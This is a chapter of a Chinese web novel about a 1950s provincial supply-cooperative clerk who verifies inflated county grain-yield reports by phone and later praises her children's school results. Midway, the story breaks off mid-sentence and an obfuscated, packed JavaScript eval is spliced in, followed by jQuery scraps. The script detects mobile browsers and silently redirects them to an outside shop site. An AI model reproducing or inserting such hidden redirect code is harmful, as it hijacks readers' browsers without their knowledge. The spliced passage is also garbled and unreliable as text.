也不知道是不是雨水就集中在10-11月了,12月上半月,阳光明媚,气温也比往年同时期暖,有些年轻人,在长袖衫外套件厚外套就成。
原以为今年会是个暖冬,哪知也就一夜的降温,不止起了霜打了冻,还持续到了52年1月。
梧桐树上的叶子早已掉光了,光秃秃的矗立在那,难免显得有些萧瑟,供销社家属院的孩子们现在迷上了个新游戏——去院子里各个角落的浅坑去踩薄冰玩。
然后早上的热闹背景音里就夹杂了孩童被家长教做人的哭叫声。
要温雅说,这种熊孩子活该被教训!
这年头洗衣服多难啊,特别是冬天,城里用柴也不方便,谁家也舍不得烧热水洗衣服。
不过温雅却顾不得这些,一入冬,她手上的冻疮就犯了,去年千防万防,没防住冬天要洗衣服,生了冻疮。
今年才犯了,第二天温雅就收到了老崔给她带的一双毛线手套,用白纱线掺和着灰色毛线织的,“这是我家老伴织的,好些年了,放着也是放着,给你用吧。”
指尖处都已经起了毛球,而且看大小和颜色,温雅知道这是给老崔织的。
虽然是旧物,但洗得很干净,温雅的确需要手套,也没客气,当下就戴上手试了试,大了半号,很暖和,可见用的很爱惜。她笑眯眯地朝老崔道了谢。
老崔见她话说得真心,摆了摆手,满意地回到办公桌前坐下。
这段时间省社的气氛骤然紧张起来,中央关于主要农产品统购统销的文件逐级下发到了省社。
社长特意召集业务科室召开了好几个会议,最终定下来:对湘省下辖的五十多个县的几十种粮食都要进行数据摸查,产量多少、分布情况、往年收购量如何这些都需要收集。
社长在会上强调:统购统销是今年的最大的政治任务,数据不准,政策就落不了地。
散会后,还专门让任科长叫上温雅一同去他的办公室,拿着51年业务科年终总结报告问温雅:“小温同志,听你们任科长说,这份报告是你负责制作的?”
温雅点头,在没弄清楚社长问话目的前,她谨遵少说多听原则。
社长见她略带拘谨,转头跟任秀敏道:“任科长,这次的粮食数据的摸查工作,需要你们业务科来牵头,”目光落在温雅身上,“让小温同志专职负责这块的数据统计和分析。”
任秀敏自没有不答应之说,想了想说,“数据小温负责做,整个事由我来牵头,毕竟还要跟其他科室配合,小温年轻面子浅。”
温雅没想到任科长在社长面前说话这么直白,的确,业务科人少,也就老崔一个老资历,所以做起事来,阻力可以忽略不计,但别的科室的老资历,可不好说。
社长哪里不知道任秀敏说这话的原因,他笑道:“自是没有问题,你需要哪些科室配合,直接去找他们,他们要是不配合,你就来找我。”
这句话的声音不小,不止办公室内的人,就连走廊上的人都能听到。
“好。”任秀敏大声应下。
“春节前要做完第一版汇总!”社长给出具体时间点。
任秀敏看向温雅,温雅在信里算了一下,不到三周,倒也不是不可以,微微颔首。
任秀敏:“保证完成任务!”
俩人离开社长办公室后,没有直接回业务科,任秀敏去相关科室找人去了,温雅则是去了供销社的档案室,找出去年和前年的各县的粮册。
等唐明着急赶过来的时候,地上已经打包好了三摞用麻绳捆着、二十厘米高的粮册。
“唐同志,你来的正正好,咱们搬上去吧。”
接下来的一周,业务科进入了另一种战时状态,这次不像春茶季那样收集的是实时数据,要是哪个地方不对劲,打电话或者去信询问便是,解释清楚的便备注上,解释不清楚的也记上。
而且也就那么几项,也就那么十几个县,但粮食数据不一样,不仅品类多、县多、数字大,还时间跨度很长,且各县的统计的水平参差不齐,有的县报上来的数据整整齐齐、干干净净,有的县的数据是用铅笔写的,时间一长,有些数字都淡了,有时候还要靠前后数字以及别的资料倒推。
总之吧,这项工作是琐碎又繁杂。
好在业务科三人经过一年的磨合,在工作配合上已经上了手,唐明负责初审,把格式不规范的挑出来;老崔负责核对历史数据,从民国时期到去年的,全翻出来做参照。温雅则是负责汇总和交叉比对,把各县的数据摊在桌上,横向对比县与县之间的差异,纵向对比同一县近几年的变化。
忙忙叨叨过了三天,第四天上午,温雅在对比醴陵县的数据时发现了一个问题,醴陵作为湘东的粮食主产县,大面积种植着水稻,在51年的报表上,水稻亩产比去年提高了三成。
她把近两年的报表并排放在一起,特意去找了社里其他科负责对接粮食局的同志了解了一下,这两年的气候差不多。温雅把这个情况记在了笔记本上,继续看下一个县,下午的时候,她又发现衡山县51年的水稻亩产比50年高了将近四成。
现在正处于粮食产量供小于需的阶段,提高三成和四成的量真不小,若是这个数据是实打实的,她肯定会上报上去,而不是现在来查,才发现。
温雅先拨通了醴陵县粮食局的电话,接电话的人声音听着年轻,听到温雅自报家门后,他明显停顿一瞬,再听温雅道明去电目的后,留下句“我去找我们王科长,一会给您回拨电话。”便挂了电话。
温雅听着电话里的嘟嘟嘟的声音,出了神。
半小时后,业务科的电话响起,温雅接起电话:“王科长,我是省供销社业务科的温雅,我们正在核对醴陵县近几年的粮食产量数据,其中有个情况想要跟您核实了解一下。”
“温同志您说。”
“我看到醴陵县51年的水稻亩产比50年提高了三成,我想了解一下粮食增产的具体原因。”
王科长沉吟片刻,“温同志,这情况我有印象,说实话,去年收集上亩产数据的时候,我们也有些不拿准,但这些都是各乡各村报上来的数据,而且当时时间紧,我们了解了个别乡的情况,发现没有问题,就报了上去。”
“所以你们在统计的时候也发现了增产这个情况?”但是只了解了个别乡,温雅摇摇头。
“是,去年秋收雨多,好不容易天晴后,乡里都忙着收割,晒谷子,产量一出来就报到了我们这里,我们再报去省粮食局,但是因为时间短,所以有些核查工作都是后置进行的。”
这话的意思是先交数,然后再去核实?
温雅没抓着这点失误询问,问了她更感兴趣的,“那你们现在的判断呢?三成的增幅,大概有多少是实的?”
王主任想了想:“实打实的增产,大概在一成半到两成之间。剩下的,可能是统计偏差——有些乡把复种面积也算进去了,有些是估产的时候偏高。”
“那您把修正后的数据重新报一次,”温雅说,“在备注栏里注明修正原因和依据。我在省社这边同步更新。”
“行,我明天就安排人重新整理。”王科长顿了一下,“温同志,这次粮食数据交得急,有些地方可能不规范,还请多担待。”
温雅说:“没关系。中央要求供销社参与粮食数据的摸查,本身就是为了多个部门交叉核对,让数据更准。你们发现之前的数字有偏差,主动修正,这是好事。”
挂了电话,温雅在醴陵县那一页旁边写:王自述各乡数字偏高,统计偏差约一成半,同意修正重报。旁边打了个钩。
唐明抬头看了一眼,说:“这个王科长倒是没忽悠。”
老崔轻哼一声,没说话。
温雅笑着摇头,“有没有忽悠,还不知道的呢。但起码是个聪明的,没有跟咱们对着干。”
这次中央要求省供销社核查下辖县的粮食数量的举措,谁知道背后的原因是什么?她不敢猜也不想去猜,作为一个小科员,她做好领导交代的事就成。
至于说,下面县的人愿不愿意说实话,愿不愿意改数据这些,都不是她能管的。
唐明若有所思,温雅开始拨下一个号码了。
衡山县的电话接通的很快,接电话的是衡山县粮食局的冯主任,专门负责统管下辖乡村的粮食工作。
温雅报明身份后,直接问出问题:“冯科长,衡山县51年的水稻产量比50年高了将近四成,这是有什么原因吗?”
冯主任:“温同志,我们去年水稻确实丰收了。”
“冯主任可有了解为何会增产吗?是个别乡的亩产增长了,还是都增了,有没有用新的种子,或者……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681970|202324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“温同志,”冯主任打断了她,“这些情况我们都汇报给了省粮食局,若是温同志想要了解,可以去找省粮食局的同事。”
“冯主任,我们供销社了解数据也是中央要求的,是为了保证统购统销的数据基础更扎实,”温雅声音沉稳,说话也不急不缓的。
“我们的确会跟粮食局的办事人员沟通细节,但跟县里负责这项工作的人沟通,也是我们该做的事,”温雅顿了顿,“还是说,冯主任不知道增产的原因?”
没等对方开口,温雅立马说:“不懂也没关系,我备注上就好,好了,麻烦冯主任了。”说着就要挂电话。
“粮食都种在地里,高了低了的,要看老天爷赏不赏饭吃,也不是我们说了算的。”冯主任粗声粗气的话语通过电话筒传来。
原本在忙着自己的事情的唐明和老崔都往温雅这边看过来。
“我问过省社里专门负责跟粮食局对接的老同志,他说,这两年的气候条件差不多。”
“另外,湘东的产粮县醴陵跟衡山县的地理条件接近,他们去年的增幅在一成半到两成,衡山县是四成,我跟他们询问后,他们那边表示的确有增产,具体增产原因会去乡里实际了解一下,晚些给我结果。”
冯主任没有说话。
温雅继续说:“作为数据统计分析的角度,如果衡山县的四成增幅是真的,那衡山县去年一定做了什么特别促进增产的动作,比如是新种子、新肥料、灌溉原因等等,您告诉我,我好写进报告里。等社长和其他领导看到报告后,也能及时了解到实际情况。”
冯主任沉默片刻后,略带着一丝倔意的回道:“跟天气有部分关系,大前年和年前,连续两年个别乡遭了旱,产量略低,去年的天气好,有的乡增了产,比旱灾前的产量还要高。”
所以还真是靠老天吃饭。但为何社里的老同志不知道这个情况?是因为这是解放前的数据?
温雅拿笔记下:衡山县数据待核实,冯说前年旱灾基数低。旁边打了个问号。
温雅顺着冯主任的话提出要求:“那冯主任,辛苦您把前年的旱灾情况和去年的实际增幅整理一份说明,附在原始数据后面一起寄给我。我把这份说明和修正后的数据一并体现在省社的汇总报告里。”
冯主任咬着牙,应了下来,“过几天寄过去。”挂了电话。
老崔和唐明都走到温雅办公桌旁,老崔拿起摊放在桌上的衡山县账本查看起来,唐明气呼呼说:“这人是故意为难咱们的。”
温雅扯起嘴角,“在所难免,谁让咱们做这个工作呢。”
接任务的时候,温雅就料想到了,毕竟粮食都归粮食局管,他们供销社插上一脚,难免下面的人会有逆反情绪。
老崔也说:“别说粮食局了,就说咱们下辖的供销社的人,之前报数据的时候,最开始也这样。”
唐明似是想起了什么,没再继续说话,回到桌前,“我继续查数据。”
老崔把报告放回桌面,“咱们做好自己该做的就成,别的,都不用管。”
温雅揉了揉眉心,是啊,她也是这么想的。
工作上的事情繁乱但在推进,没有什么好消息,但中旬的时候,龚平给了温雅一个惊喜。
龚平的期末成绩出来了,他把成绩单放在桌上,用搪瓷杯压着,温雅回去后也没说,直到洗完手准备吃饭时,温雅拿起来看了一眼才知道。
“哎呀我们家龚平可真是太厉害了,是全班第四名呢!”
龚平坐在一旁,耳朵尖是红的,眼睛晶亮。
龚安听懂了,他举着手喊道:“我,我,我是我们班上第一名。”
什么第一名,难道托儿所还要考试?温雅不懂,但不妨碍她夸奖:“龚安也很棒!”准备明天送龚安去托儿所的时候问一嘴老师。
托儿所本就是为了帮省社职工照顾孩子,所以不像小学还有寒暑假,休息时间跟省社职工一样。
龚安嘟着嘴,“我也是你家的,我是第一名,是太太太厉害了!”
温雅噗呲一声笑了出来,原来这个小家伙是这个意思。
她摸了摸龚安昂起的头,又拍了拍龚平的肩,笑道:“对对对,你们都很棒,都是我们家的骄傲。”
哈哈哈哈,内心要被龚安给萌化了,上班的苦闷也都烟消云散。